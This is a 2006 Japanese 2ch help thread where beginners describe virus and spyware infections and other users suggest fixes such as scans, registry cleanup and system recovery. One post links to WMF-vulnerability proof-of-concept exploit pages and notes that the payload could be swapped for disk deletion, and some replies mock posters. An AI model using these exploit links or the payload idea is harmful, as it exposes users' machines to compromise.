ある似た漢字（四・匹とか）の何れかを持つファイルのみ削除とか、
そのファイル自体をexeと取り替えて起動時に処理しちゃうとか

>>278
そもそもウイルス付メールやフォルダなんかクソだから即刻削除でしょ。
どうして残しとくの？

91 名前：名無しさん＠６周年[] 投稿日：2006/01/03(火) 01:27:20 ID:5UwoVibJ0
【PC初心者と今北専用】

今騒がれているのはウイルスではありません。
OSの欠陥です。
ただし、MSがパッチを配布する前にそこを狙うウイルスが作られた場合は非常にやばい状況。

★今回発見された脆弱性とは？
―画像見るだけ、プレビューするだけ、zipやらを解凍するだけ、画像が張られてるサイトに飛ぶだけで感染しちゃうウイルスが作られるかも

★対策は？
―パッチ配布まで外で遊ぶ

★どんなウイルスができるの？
―↓を踏んで電卓やらメモ帳が起動すれば、脆弱性を持った状態です。(起動しなくても決して安心しないで下さい)

http://grin.flagbind.jp/runcalc.wmf　電卓が起動するだけ
http://kikuz0u.x0.com/wmf_exp.html　メモ帳が起動するだけ

↑のプログラムで「電卓を起動して下さい」って命令を
「HDD削除して下さい」に変えたウイルスが開発されるとあなたのPCは即あぼーんです。
それだけ、危険な脆弱性なんだおー（　＾ω＾）

上記のURLがテストプログラムと見せかけてウイルスだという情報が出ているのですが
どうなのでしょうか。踏んじゃいました・・・
通りすがりの人は上記のURLはウイルス感染の危険性がありますので絶対に開かないようにしてください
おねがいします偉い方

質問です。

【使用OS】Windows XP SP1
【WindowsUpdateしてるか】行っています。
【AntiVirusは何を使っているか】 ウイルスバスター2005
【ちゃんとUpdateしてるか】 行っています。
【スキャンした結果（ウイルス名・発見場所）】 特に無し。
【別のオンラインスキャンしたならその結果は】 行っていません。
【症状を具体的に、分かる限りすべて書く】
１、タスクバーに黄色い三角！のマークが出てきて点滅し、
　「System Alert: Adware & Spyware　Your computer performance slowed down. Your Internet connection speed has decreased. You receive more spam emails than ever. Use Spyware scan to find out the reason.」
　と出てきます。
２、SpyAxeというソフトが承認も無しに自動的にアップロードされ、削除しても復活する。
３、デスクトップに表示されている「Internet Explorer」をダブルクリックをしてインターネットを行おうとしても、ttp://www.systemwarning.com/というサイトに飛ばされる。（お気に入りなどから別のサイトに飛ぶことは可能。）
４、時々ポップアップでスパイウェアの導入を促すような広告が出てくる。（頻度は不明）
５、上と同様に時々ポップアップで猥褻な広告が表示される。（頻度は不明）
【何をしたらそんなことになったのか】 不明です。昨日からです。
【これまでにとった措置】 無駄なことかも知れませんが、強削というフリーソフトで、CドライブのProglam Filesにある「SpyAxe」を丸ごと削除してみました。(結果は効果なし）
【その他の質問】推測すると、Trojan.spaxeというウイルスではないかと思っているのですが、
調べてみてもNortonユーザー向けにしか駆除方法は記載されていませんでした。→ttp://www.symantec.com/region/jp/avcenter/venc/data/jp-trojan.spaxe.html
ウイルスバスターユーザーなので、駆除方法がわかりません。
どなたか駆除方法をおしえてください。お願いします。

>>284
どこのユーザーだってシステム改変箇所に変わりなんてあっかよ

追加情報です。
スタート→ファイル名を指定して実行→「regedit」と入力しても
レジストリエディタが起動できませんでした。テキストファイルが開くだけです。

>>286
Windowsフォルダのregedit.exeは？

>287
だめです、テキストファイルのアイコンになっていて起動できませんでした。

>>288
成功するかどうかわからないけど
bitdefenderを入れてスキャンしてみては？

ttp://www.bitdefender.com/site/Main/view/Download-Free-Products.html

>>284
エロ巡回して、無差別クリックするとそうなる。良い勉強したな。
とりあえず、SP2にしてから出直してこいや

>286=>288
レジストリエディタがテキストファイル…
テキストファイルのアイコンってメモ帳の？
もし、それだとすると真っ先に思い浮かぶことは
過去にAntinnyの亜種に感染していたのでは、しか思えん。

>>288
もう完全にＯＵＴですね。
しかし感染する前にバスター反応しなかったの？

>>288
こっからがお前の根性の見せ所だ
エロに屈せずウィルスに屈せず

バカボン　ポケペン　ペケムン

ムケチン

>>217
この人と同じように２ｃｈ閲覧していたら、似たような状況なのですが。
私の場合２ＣＨの実況板に書き込むときに名前とＥ−ｍａｉｌに勝手に文字などが
入るのですが。（２１７さんと同じこと？）
>>220
この人のやり方をすると再スキャン（ウイルスバスターで検索のことですか？）とゆうのが出来ないのですが・・・

自分はパソコン初心者です。

>>296
ホストが表示されて何か不都合があるのか？

★☆★【娘。】モー狼板運用情報【狼】18☆★☆
http://qb5.2ch.net/test/read.cgi/operate/1131907877/

セキュリティ初心者質問スレッドpart64
http://pc8.2ch.net/test/read.cgi/sec/1133972486/968
ここで質問したんですがとても答えてもらえそうにありません。
こちらでもう一度質問させてください。

>http://pc7.2ch.net/test/read.cgi/pcqa/1134853652/300
>ここでも同じ質問をしたんですが若干スレ違いだったようなのでこちらでも質問させてください。
>ttp://tekutabi.hp.infoseek.co.jp/cgi-bin/imagebbs1/upppu.cgi?action=view&no=52&no2=811&disppage=
>ブラクラじゃないんですがjpg画像にタグが埋め込まれてます。
>踏んでも何も起こらないんですが拡張子をhtmlにすると化けた文字と共に"com.apple.print.ticket"から始まる文字列がずら〜っと出てきます。
>何か害があるんでしょうか？
>埋め込まれたタグがどのような内容でどんな害があるのか知りたいです。

携帯から

使用ＯＳ:windowsXP
駆除ソフト:マカフィー
UPDATE:してます
スキャン:そこまでいけない
状況:windows起動時に
予期せぬエラーが発生しました。終了します。
というウィンドウが大量に出て起動するにも
重すぎて何もできません。状況ば
本当にこれしか説明できないのですが
解決策ありませんでしょうか？
仕事に使うＰＣなので早急な対処が必要なんです。
因みにいつもはマカフィーおねんねさせてるので
ウィルス感知できなかったと思われる。

リカバリしかないな

>>300
FDブート試す

>>300
回復コンソールでデータ復旧
あとはリカバリでおｋ

あ、あとデスクトップに
凄い速度でmp3ファイルが作成されたりします。
スタートアップのマカフィー発動までに１５分以上
さらにインターネット繋がるの１時間
やっぱりリカバリかけるしかないですかね

好きにしろ

>>304
セーフモードで起動してウイルス駆除できなかったらリカバリーしかない。
せっかくの対策ソフトを切ってたのなら自業自得だね。

ｳｨﾙｽって主に何するんですか？広く定義されてる意味というか。
ｽﾊﾟｲｳｪｱはわかりやすいがｳｨﾙｽはﾌﾞﾗｸﾗ、ＨＤＤ破壊とか
ｲﾏｲﾁ何をさすのかわからん

あと目的もわからん、感染広げる意図もただのｷﾁ○ｲ？
のっとってどっかに何か送信したり・・・はｽﾊﾟｲｳｪｱか

皆が騒ぐのが面白いとか
エロサイトばかり見てるﾔｼに天誅とかの勘違い正義厨とか
単に破壊活動が好きなﾔｼとか・・・

殺人犯と同じで目的なんて様々

【使用OS】 windowsXP
【WindowsUpdateしてるか】 してます
【AntiVirusは何を使っているか】ノートン
【ちゃんとUpdateしてるか】 ウィルスに掛かってからアップデートしましたorz
【スキャンした結果（ウイルス名・発見場所）】ノートンではスキャンできないようです。
【別のオンラインスキャンしたならその結果は】 avastでスキャンしたところ、3つほど見つかり、駆除すると症状の一部が消えました
【症状を具体的に、分かる限りすべて書く】 まず、PCを起動(PC内の自分のアカウントにログインすると)デスクトップ右に英語サイトのリンク一覧が出ます。(これはavastのスキャン・駆除後、出なくなりました)
それから、IEのツールバーの一番下の段全てが英語になっています。あと、どんなウィンドウでも、閉じる時にカチッという音(ページを開く時等の音)が鳴るようになりました。
それと、常に重く、プログラムが応答なしになり易い。特にPC起動時にフリーズ(クリックしても反応が無いが、タスクマネージャは開ける)し易く、つらいです。タスクマネージャのパフォーマンスでは、PF使用量が常に260~320MBです。
【何をしたらそんなことになったのか】 ある事をググって見つかったサイトに載っていたリンクでリンク先に飛ぶと、一瞬画像のプレビューのような物が出て(画像が表示される前にすぐ消えました)
その後デスクトップに戻ってみると、英語のリンク一覧のような物が。その時、ノートンは無効にしてました・・・。
【これまでにとった措置】 ノートンでcドライブ全体をスキャンしたところ、スキャン中にウィンドウが消えました。
消える場所は決まっているようで、c:\Documents and Settings\名無し\Local Settings\Te\Temporary Internet Files\Content.IE5の辺りです。
普通に開こうとすると、フリーズします。右クリックしてメニューを表示するだけでも重くなります。
avastで、インストール時のスキャンでウィルスが見つかり、英語リンク一覧を駆除。インストール後のスキャンで、やはりContent.IE5内のスキャン中に応答なしに。
最後に、システムの復元をしましたが、復元での再起動後、「復元未完了」と言われました。もう一度やりましたが、同じく失敗。
復元できないのにはお手上げです･･･。
どうか皆さん、よろしくお願い致します！

切っていたなら自業自得やね　リカバリくましょう。

て、そのエロはなんてやつ？

>>309
レジストリのＲＵＮを調べて怪しいものを削除。

そんな難しいこと言われても・・・

>>312
それならリカバリー。

HDDの空き領域が少しずつ増えていくのですが･･･これはウイルス？

【使用OS】Windows XP SP2
【WindowsUpdateしてるか】 頻繁にしてます。
【AntiVirusは何を使っているか】 Norton Internet Security 2005
【ちゃんとUpdateしてるか】 2005/12/30
【スキャンした結果（ウイルス名・発見場所）】 発見されませんでした。
【別のオンラインスキャンしたならその結果は】 まだしてません。
【症状を具体的に、分かる限りすべて書く】
　　Marshalingwindow という小さなウィンドウが乱立。電源断後の
　　再起動では、タスクバーが表示されず。タスクバー部分（2行分）に
　　マウスポイントをあてると、ポインタが上下矢印になるだけ。
【何をしたらそんなことになったのか】
　　AcrobatReaderを閉じた直後だとおもう。再起動後は無問題。
　　ノートンスキャンはじめたら、おそくなってきて、反応しなくなった。
【これまでにとった措置】
　　Guestアカウントで
【その他の質問】

どうでもいいけど、>>312さんは俺じゃないですよ

復元とリカバリーって同じだと思ってたよ・・・
リカバリーは完全初期化か。自分はいいが、このPCを使う人がもう一人居て
ファイルが消えるのは嫌だと言ってるし　出来れば避けたいんだけど・・・やっぱり無理です？

レジストリのRUNを調べて怪しいものを削除・・・　出来れば、詳しく

>>315
原則として怪しいＵＲＬ踏んだり変なexe実行しない限りはウイルス感染しない。
他の問題かと。

>>316
初心者がレジストリいじるのは危険なのでリカバリーしなさい。
必要なファイルはバックアップを取っとけばよい。
まだ起動できるだけまし。
俺なんかある日突然起動できなくなって大事なデータがあぼーんになったことがある。

バックアップか・・・
CDに入れる他には何か方法ありますか？　量が多いとやっぱり難しいですよね

>量が多いとやっぱり難しいですよね
なら、やらなくていいよ

連レスすいません。場所見てもわかる通り、個人アカウントのファイルの中にあるんで
そのアカウントを作り直せば、それでいけると思います？　質問ばかりですいません

好きにしろ

アカウント削除も無理っぽいです。CDなんて100円ショップで売ってるし　仕方ないんでリカバリします。

>>317　ですよね。。

心当たりが全くないんですよ。たぶん一昨日いれた
firefoxとやらが原因じゃねーのかと思います。

でも今朝おきたら、復帰してました。謎。さらばfirerfox.

【使用OS】 winxp
【WindowsUpdateしてるか】 自動更新でやってる。
【AntiVirusは何を使っているか】 マカフィー
【ちゃんとUpdateしてるか】 自動更新でやってる
【スキャンした結果（ウイルス名・発見場所）】 何度かやったが検出０で出ない（再起動してもした）
【別のオンラインスキャンしたならその結果は】 やってない。
【症状を具体的に、分かる限りすべて書く】 今のところは無し。
【何をしたらそんなことになったのか】 あるサイトに入ったらトロイ検出。でも削除および隔離できないと出た。
　　　　　　　　　　　　　　　　　　　そこだけだがwin画像とFAXビューアが出る。
【これまでにとった措置】 スキャンを何回かしてるが、感染ファイルが出てこない。
【その他の質問】 症状という症状はないんだがスキャンで引っ掛からないからちと不安で・・・
　　　　　　　　大丈夫だと思うけど俺知識ないから心配・・・

PC使えないので携帯から失礼します。
現在MEを使っていて
エロサイト巡回していたら突然固まってしまい、強制終了しました。
その後、機動させたら変な音が鳴り、さらには
メモリ不足だから実行できないみたいな表示がでます。
ショートカットのﾏｲｺﾝﾋﾟｭｰﾀｰ・ドキュメント以外使えません。
どうしたらいいでしょうか？
お願いします。

>>325
別のオンラインスキャンでavastやってみれば？

1月2日にかかったウイルスを完全駆除成功。
結局ウイルスソフトが対応してくれないとセーフモード+regeditで頑張ってもきついな
と言うのが今回の感想でした

>>324
FFは無関係に100ノー�d

>>326 セーフモードは？

楽天　商品到着報告スレ
http://ex14.2ch.net/test/read.cgi/news4vip/1136416610/

このスレの>>9
avastで反応しなかったがウイルスです

【使用OS】 WindowsMe
【WindowsUpdateしてるか】 はい
【AntiVirusは何を使っているか】 avast　
【ちゃんとUpdateしてるか】 はい
【スキャンした結果（ウイルス名・発見場所）】 Win32:mhtplo-25　（C:\WINDOWS\Temporary Internet Files\CONTENT.IE5\31K9AH0Vで発見）
【別のオンラインスキャンしたならその結果は】 Exploit-MhtRedir.gen(マカフィー）
【症状を具体的に、分かる限りすべて書く】 自覚症状なし　
【何をしたらそんなことになったのか】 不明
【これまでにとった措置】 隔離
【その他の質問】

情報が引っかからないので
このウィルスはどういう活動をするのか
教えてください。

一応オンラインスキャンやってみて検出された感染ファイルを消してみたが、
う〜ん、これで大丈夫かな？

>>325
しかしwin大問題発生してるこの時期にエロサイト見るか？
まあ自業自得。

>>334
自分でもそう思うｗ
今後気を付けます・・・

今他のウイルススキャンも終わったが、やっぱり検索０だった。
・・・大丈夫・・・かな？

初心者なんですが親のPC使っててexeファイル開いてウイルス入りました
OSは98とXPが入ってるみたいなんですがXPのほうに感染してXPがまったく起動しません
98のほうにウイルスバスターが入ってるみたいなんですが一体どうしたらいいんでしょうか

>>336
どうしようもないでしょうよ

>>336
マルチ乙

>>336
なんかカワイイ。
テンプレ使って質問すれば答えてくれる人がいる。

かも？

>>339
俺、ここ含めて3箇所で全く同じ文面見たんだけど・・・

187　スパイウェア　
ウイルスこと知ってますか？何が一番いいだと思うんですか？
いいことを教えてください。普通2、3個使わなきゃなら無いだといわれてるのですが、
無料で提供してること無いんですか？この中でいいことがなんだろう？

なかなかデムパな文章ですね＾＾

>>341
ﾜﾗﾀ
それどこのコピペ？

先生質問です！
キンタマ・山田・欄検眼段　系統に一番対応が早いのはバスターでしょうか？

[email protected] ってとこからなんかメールキタ
恐ろしい・・重要とか書いてある　確実にウィルスぽい
初めてこんなの来たけど　メアド変えた方がいいですか？

２度と来ないから心配すんな。

放置していたYAHOOの垢を覗いてみたらウイルスとスパムだらけｗ
捨てアドだったから垢ごと消したよ

長くてｽﾏｿ。とりあえず読んでください（⊃дＴ）

2002年5月下旬…パソ購入。同時にパソに予め入っていたノートン先生（使用期限90日）を起動
2002年8月下旬…ノートン先生逝く。
この間から[其の一]（IEがパソの立ち上げ時に勝手に起動する）が始まる
この間にウィルスの巣窟になる
2005年12月下旬…avest!!(綴り不明)&spybotで一斉掃除。約30〜40項目駆逐。
2006年1月初旬（おととい）Norton先生（下記参照）を無事インスコ。
その後インスコし忘れた項目（保護者機能）をインスコするためにノートン先生のインスコツールを起動。
するとメッセージが表示される。以下参照。↓

「Microsoft Windows インストーラをコンピュータにインストールする必要があります。
Microsoft Windows インストーラをインストールしないとこのシマンテック製品をインストールできません。
　　　　　　　　　　　　　　　　　　　　　　　　　　　　~~~~~~~~~~~~~~~←名指しなところが怪しいのだが
今すぐにMicrosoft Windowsインストーラをインストールしますか？」

はい→しばらくウィンドウが消え（長いのでこの間少し席をはずすと）
NortonAntirusをアンインストールしていますの項目がでる。→強制終了するも終了せず。やむなくコンセントを抜く。
その後システムの復元を起動。しかし、復元は失敗の項目が表示されるが、ノートン先生は通常通り起動。
その後さっきインスコされたMicrosoft Windows インストーラ（Windows Installer KB893803v2）を削除。
その後ノートン先生のインストーラを起動するがやはりさっきと同じメッセージが表示される。→しばらくあれこれ試す。

後で自動更新が更新をインストールしますか？と聞いてきて、違和感がなかったのでインスコ。
前述の削除した項目と同じ物（ウィルスとは関係なかったのか？）

昨日その一項目（信頼IP）を削除。が、今日復活している。現在すべて削除済み。かつ制限（このコンピュータと通信を拒否）に設定。その後変化なし。
その勝手に信頼ゾーンに設定されていた曰く付きのデータ↓
IP:192.168.116.0
マスク:225.225.225.0

今日…ノートン先生が壊れているのではないかと思いマカフィーでスキャン一項目該当。以下参照。↓
ウイルス名：TSPY_DFC.A
場所：C:\\WINDOWS\STWSI\crmrest.ocx
マカフィーの対策page：http://www.trendmicro.co.jp/vinfo/virusencyclo/default5.asp?VName=TSPY%5FDFC%2EA&VSect=Sn

ノートン先生でスキャン。該当項目なし。

現在↓
【使用OS】WinXP
【WindowsUpdateしてるか】はい
【AntiVirusは何を使っているか】Norton Internet Security 2006
【ちゃんとUpdateしてるか】はい
【スキャンした結果（ウイルス名・発見場所）】前述参照。
【別のオンラインスキャンしたならその結果は】前述参照。
【症状を具体的に、分かる限りすべて書く】
[其の一]
パソコンの立ち上げ時に勝手にIEが起動する。他の自覚症状なし。
２〜３年前より発生。スタンバイからの起動時でIEの起動はなし。
[其の弐]
前述のファイアーウォールの件

【何をしたらそんなことになったのか】
[其の一]さしあたってなし
[其の弐]前述の通り
【これまでにとった措置】
[其の一]IEの設定のチェック。ノートン先生でスキャン
[其の弐]前述の通り
【その他の質問】
長くてｽﾏｿ。
�@やはりノートン先生はアンスコ＆再インスコした方がよいか
�AIEの件
とりあえず何から対処すればいいかアドバイスｷﾎﾞﾝorz。長くてｽﾏｿorz
教えてエロイ人

>>348と>>349の間に書き忘れていたことがあったので補足しておきます
その後ウィルススキャンするも該当項目なし。
その後ファイアウォールの設定を開く、登録した覚えもない（もちろんする時間もない）
IPが信頼*（ファイアウォールを適応しない）に設定されていた。

写し↓【ここから】
*ホームネットワークゾーン
このコンピューターにアクセスできる（またはできない）コンピューターを識別します。

信頼ゾーンのコンピュータはこのコンピュータに対するフルアクセス権があります。
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
ファイルやプリンタを他のコンピュータと共有する必要がある場合にはそれらを信頼ゾーンに入れてください。
制限ゾーンのコンピュータはこのコンピュータと通信できません【ここまで】

>>348
しかし３年以上もウイルスの巣窟パソコン使ってたの？
ちょっと笑える。　(　´,_ゝ`)プッ
よくなんの被害もなかったもんだ。
その後にマカフィーも買ったの？　(　´,_ゝ`)プッ

ノートンとマカフィーのヘルプを読んだら解決するかと。

>>352
マカフィーは買ってないです。
フリーのウィルススキャンで済ました。

>よくなんの被害もなかったもんだ。
自分でもﾜﾗﾀ
最初のノートン先生アンスコしたら新しいノートン先生が入れられなくなった（残留ファイルの関係）

やっぱり一回ノートン先生アンスコしてから再インスコが一番手っ取り早いですか？

>>353
おとなしくリカバリーしてFW建ててXP2に汁。
んで　Spybot　Ad-awareSE　SpywareBlaster インストロール汁！

>>353
マジレスですよ。
起動できるうちに、回線抜いて必要なファイルをバックアップして、OSのクリーンインストールしたほうがいいよ。

>>353
漏れもﾏｼﾞﾚｽで、>>355に1ノートン
この際だから、リカバリすべし。

参考

再インストールする前に決意を書き込むスレ　3度目
http://pc8.2ch.net/test/read.cgi/win/1133240584/

一日ごとにOS再インストール　
http://pc8.2ch.net/test/read.cgi/win/1069550754/

再インストの前にこれをバックアップしよう Part2
http://pc8.2ch.net/test/read.cgi/win/1075824554/

【使用OS】 XP
【WindowsUpdateしてるか】 している
【AntiVirusは何を使っているか】 ウイルスバスター2005
【ちゃんとUpdateしてるか】 自動で
【スキャンした結果（ウイルス名・発見場所）】 TROJ_DHIJACK.L
【別のオンラインスキャンしたならその結果は】
【症状を具体的に、分かる限りすべて書く】
warning!
spyware detected on your computer!
install an antivirus or spyware remover
to clean your computer.
→View the list of top spyware removers

画面が真っ黒になって上記のメッセージが中央に表示される。
インターネットに接続しようとする。キャンセルしても、試行回数を超えてもしつこく表示
タスクマネージャーにアクセスできなくなっている

【何をしたらそんなことになったのか】
メールをマウスオーバーでポップアップ表示してしまったため感染

【これまでにとった措置】
トレンドマイクロ社のＨＰにTROJ_DHIJACK.Aの駆除方法が記載されていたので
レジストリエディタを開いてちまちま削除していたのだが、
記載されている現象（ここのキーにこういうファイルがあるのでとか
値がこう書き換わっているからという記述）が実際と微妙に違うので
途中で中止した。

【その他の質問】
このウイルスについての情報がググっても殆どないので
自力で駆除する方法を知りたいです。
お力をお貸しください。

修復するよりリカバリしたほうがいいよ。

>>357
似たようなアドウエアを見たことがある
ttp://www.symantec.com/region/jp/avcenter/venc/data/jp-adware.topantispyware.html
シマンテックのオンラインスキャンをやってみては?

>>357
しかしバスターは全然効果なかったのか？

素早いレスポンスありがとうございます。
紹介頂いたアドウエアにも近い雰囲気ですが、トロイの感染状況に酷似しているので
バスターの結果表示をとりあえず信じてみます。
オンラインスキャンをやってみたいのですが、ネットにつなぐと
何をしだすか予想できないので、今はオフラインで作業している状態です。
昔使っていたノートンを引っ張り出して、定義をＤＬして入れてみます。

一応検知したファイルを削除したりしたのですが、効果ありませんでした。
リカバリというと、具体的にどんな事をすればいいでしょうか
恥ずかしながら、リカバリを必要とするトラブルに今まで遭わなかったので
今ＰＣの取説で調べています・・・

>>361
ＸＰ使っててリカバリーしたことない者はめったにいないよ。
やる事といえばデータのバックアップを取っておくことぐらい。

>んで　Spybot　Ad-awareSE　SpywareBlaster インストロール汁！
�d�d
インスコしますた。Ad-awareSE&Spybotでファイルスキャンしました。


>起動できるうちに、回線抜いて必要なファイルをバックアップして、
後システムの復元で、バックアップとっておきました。

>おとなしくリカバリーしてFW建ててXP2に汁。
ノートン先生アンスコして、再インスコしますた。
今のところ正常に動いているっぽい
XP2は自動更新でおｋですか？

>OSのクリーンインストールしたほうがいいよ。
ｋｗｓｋ

あと、W32.Sober.X@mmっていうのをノートン先生が保護？したのだけれど大丈夫だよね？
今ノートン先生でスキャン中

>>362
ありがとうございます。
98と同じ感覚で使っていたのですが、今まで未経験でした。
やってみます。

PC初心者なのですが皆様のご教授お願いします。

前日私のＰＣにスパイウエアーが進入したらしくウイルスバスターで調べた所
SPYW_COOLWEB.C
SPYW_CWS.C
と出ました。親切な方にCWShredderなるものを教えていただき早速手順通りに使ってみました。

CWS.Yexeと言うものだけにREMOVEDと出まして同じく手順通りに進め終了したのですが
また何度も検索に CWS.Yexe　　REMOVEDと出てしまいます削除出来なかったみたいなのですが
なぜでしょうか？
手順はhttp://www.higaitaisaku.com/removecws.htmlの所で書いてある通りにやっているのですが・・・

セーフモードでもやってみました。
セーフモードで検索した時は削除し再検索ではみつからなかったので安心してたのですが
通常にもどし検索をかけたとたんにまたみつかり何度やっても消えませんでした
ちなみにCWShredder・ウイルスバスター・Ad-Aware・PC-Clean・Apybot・auto_tscでやってみました
無理なのでしょうか？
ご教授お願いいたします。

>>365
マルチはいかんよ、マルチは
向こうでレスついてるでしょ？

>>366
すいません。しかしなぜか相手にしてくれなかったのでこちらにきました・・・
真剣に悩んでいたのですが・・

>>367
答えてくれる親切な人が、いつもパソコンの前に居るとはかぎらない。
もう、寝る時間です。

>>367
レジストリが書き換えられてるんだろう
トレンドマイクロのデータベースにSPYW_COOLWEB.CもSPYW_CWS.Cもないようだ
シマンテックかマカフィーオンラインスキャンで駆除方法載ってなければリカバリをすすめる

>>369
ありがとうございます。
わかりました。さっそくさがしてみます。
いろいろなスレに書き込んだ事お詫びいたします。
皆様ありがとうございました。

334ではなく365です本当に申し訳ございませんでした。

>>371
ここの奴らは両方見てるから334でも解るよ

気にしなくていいから、リカバリしてね。

OSはxpです。常駐させているのはavast4.6home editionです。
ノートンのHPから無料ウィルスチェックをかけたら、
次のような警告が出ました。。。。
C:\Program Files\Jane Style\Logs\2ch\カテゴリ雑談\モテない男性\subject.txt は　Bloodhound.Exploit.6 に感染しています
他にウィルスに感染はありませんでしたが、
このファイルは常駐させているavastでチェックしても無視されてしまいます
感染しているsubject.txtというファイルを削除したら、問題は解決するのでしょうか？
よろしくお願いします。

>>373
はっきりいって問題は解決しない
モテないやつはなにしてもモテない
モテるやつはなにしてもモテる

モテない男性 　頭痛くなってきた

>>374さん
>>375さん
モテないのは仕方ないと思って諦めています。。。orz
ウィルス駆除のほうはどうでしょうか？

Log捨ててみ

ノートンが2chのログで検出するのは全部誤検出
削除してもきっとモテない男性から抜け出さないと
何度でもノートンが反応するぞ

>>377さん
やっぱりそれでいいんでしょうか…
捨てて動き出したら怖くて迷っているんですけれど。

>>378さん
了解です。
ノートンが反応するログともモテない自分ともおさらばしまっす！！

>>374さん
あ、何してもダメなのかー

MS06-001 912919 Graphics Rendering Engine の脆弱性によりコードが実行される可能性がある
http://www.microsoft.com/japan/technet/security/bulletin/ms06-001.mspx

２ちゃんのウイルスにビビるﾔﾂがまだいたなんて…　(　´,_ゝ`)プッ
それでもまだここ見てるなんて…　(　´,_ゝ`)プッ

ｳｨﾙｽ、ｽﾊﾟｲｳｪｱ対策もそれなりに出来てるんだが
最近2回もﾄｯﾌﾟﾍﾟｰｼﾞがヤフーの海外サイトになってて
Java、JavaScriptがONになるのに引っかかった・・・

誰かｋｗｓｋ教えてくらはい

ｴﾛサイトは見てません、ﾌﾞﾗｳｻﾞはFirefixです

>>384
WindowsUpdateしないやつは死んでいいです

【使用OS】 XP
【WindowsUpdateしてるか】 しています
【AntiVirusは何を使っているか】 AVAST home
【ちゃんとUpdateしてるか】 しています
【スキャンした結果（ウイルス名・発見場所）】 tp://www.easypic.org/?sample01.jpg
【症状を具体的に、分かる限りすべて書く】
windowsを起動すると、「wininet.dllが見つかりません」という文が表示され、
壁紙が表示された状態で止まってしまいます。タスクマネージャを表示させようとしても、
「管理者によって制限されています」と出てしまいます。
【何をしたらそんなことになったのか】
wininet.dllが消えているのは恐らく私のミスです。
avastでブートメモリ検査の予約をして再起動、その後正確には覚えていませんが
「system32フォルダ」に何か見つかった、消す？　的な英文が出てきたので、1（yes）を押し、
その後の選択で2（all delete）を何を思ったか押してしまい、
system32の中身がかなり消されてしまったようです。。。
【その他の質問】
とりあえずsystem32の中身を元に戻すことさえ出来ればどうにか出来そうなのですが、
どうかご教授お願い致します。

>>387
SP2で統合してあるCD入れてから
sfc /scannow

>>388
申し訳ありません、SP2で統合してあるCDとは何を指しているのでしょうか。
そのあたりの知識が全く無くて…。

ちなみに今は他のPCから書き込んでいます。

>>389
ねえんならやれ　エラーが出てから考えろ

>>390
いえ、そうではなく、「SP2で統合してあるCD」って何ですか、という質問です。
それが何のことか解らないので、やるやらないの前に「やれない」のです。

ttp://support.microsoft.com/default.aspx?scid=kb;ja;881207
ttp://www.google.com/search?sourceid=navclient-ff&ie=UTF-8&rls=GGGL,GGGL:2005-09,GGGL:ja&q=xp+%E4%BF%AE%E5%BE%A9%E3%82%A4%E3%83%B3%E3%82%B9%E3%83%88%E3%83%BC%E3%83%AB

>>391
セーフモードで起動し、データのバックアップをとってからリカバリー。
「SP2で統合してあるCD」とは恐らくＸＰのＣＤかと。
最初からＸＰ入ってるパソコンにはない。

>>391
WindowsXpのCDと、SP2(サービスパック)のCDとを(1枚に)統合したCDのことよ

リカバリCDしか持って無い予感

>>391
質問しておきながらそれに対する親切な回答レスを無視するなら、
今後一切質問しないように。
親切に回答レスしてくれる人がいなくなって、他の質問したい人に非常に迷惑がかかります。

【使用OS】 Windows XP
【WindowsUpdateしてるか】 今日も含め。ちゃんとしてます。
【AntiVirusは何を使っているか】 ノートン２００５
【ちゃんとUpdateしてるか】 はい
【スキャンした結果（ウイルス名・発見場所）】 スキャンできない状況にあります
【別のオンラインスキャンしたならその結果は】
【症状を具体的に、分かる限りすべて書く】
mp3ファイルが大量にデスクトップ上に出現。削除しようにもエラーメッセージが大量出現し、PCがフリーズします。
【何をしたらそんなことになったのか】 2chに貼られていたexeファイルを実行
【これまでにとった措置】 何もできませんでした。
【その他の質問】
対処法をよろしくお願いします。

>>397
セーフモードで全ドライブスキャン出来るんだからやれ

少々お聞きしてよろしいでしょうか。

【使用OS】Windows XP
【WindowsUpdateしてるか】 行っています
【AntiVirusは何を使っているか】 ウイルスバスター2006
【ちゃんとUpdateしてるか】 行っています
【スキャンした結果（ウイルス名・発見場所）】 反応無し
【別のオンラインスキャンしたならその結果は】
【症状を具体的に、分かる限りすべて書く】
Internet Explorerを起動するとttp://www.updatesystempage.com/というサイトに飛ばされる。
時々、「アンチスパイウェアソフトを導入してください」的なポップアップの広告が表示される。（本文は英語）
【何をしたらそんなことになったのか】 わからないです。
【これまでにとった措置】スパイウェアに良く見られる傾向なのでAd-aware SEやウイルスバスターで検索を行ってみたが効果はありませんでした。
【その他の質問】
まだまだこのPCには働いてもらいたいので、対処方法を教えてください。お願いします。

>>399
行儀悪い質問者が来たのでしばらく教えてくれないと思うよ。

>>392
わざわざありがとうございます。参考にします。
>>393
セーフモードですら動きません。。。
私のPCには初めからXPが入っているので、どうやらそれを使っては無理のようですね。
意見をありがとうございます。
>>394
情報ｻﾝｸｽですー。
>>395
ご名答。
>>396
仕事の関係で外出していました。レスが遅れてしまったことをここにお詫び申し上げます。

いろいろと友人などにも聞いて、
「新しいHDDを購入し、それにWindowsをインストール、現在のHDDをセカンドディスクにしてデータを吸い出す」
という手で行くことにしました。様々な意見本当にありがとうございました。

>>399
念の為に聞きますが、ブラウザのインターネットオプションでホームページを手動変更してみましたか？

357です。
あれから未だにリカバリできずにいます。
（やり方はわかりました。ご助言ありがとうございました。）
その後のスキャンで、今度はWORM_LOCKSKY.Yが検出され
それを駆除すると、再起動後の自動スキャンで
TROJ_SMALL.AWE
TROJ_DLOADER.AGD
TROJ_DLOADER.AMY
が検出されてしまいました。
最初の異常からＬＡＮケーブルも電話線も引っこ抜いたままでいるのですが
こんなことってあるのでしょうか。
ちなみに症状は変わらず、それぞれのウイルス概要に記載されている症状とは
微妙に違うようです。
もうリカバリするつもりではいるのですが
後学のために、これがどういう事態なのか何とか理解したいと思っています。
どなたかご教授頂けませんでしょうか。
よろしくお願いいたします。

わからん
トレンドマイクロのサポセンに電話っつう手もあるが、満足な返事が返ってくるかな…

>>403
後学のために教えてやりましょう。
まず、検出されない状態の独自圧縮された状態でインストーラーファイルがRunまたはServiceなどに仕込まれていて、
起動時に自動実行されるようになっています。
実行されるとファイルを展開後にインストールを始めます。
よって、展開後のファイルだけを何度削除しても堂々巡りですね。

>>399　フリーのソフトとかダウンロードしなかった？

>402
はい、行ってみました。
たとえば、Yahoo!をホームページに設定すると、どのような方法であろうとYahoo!へのアクセスを弾くようになっているのです。
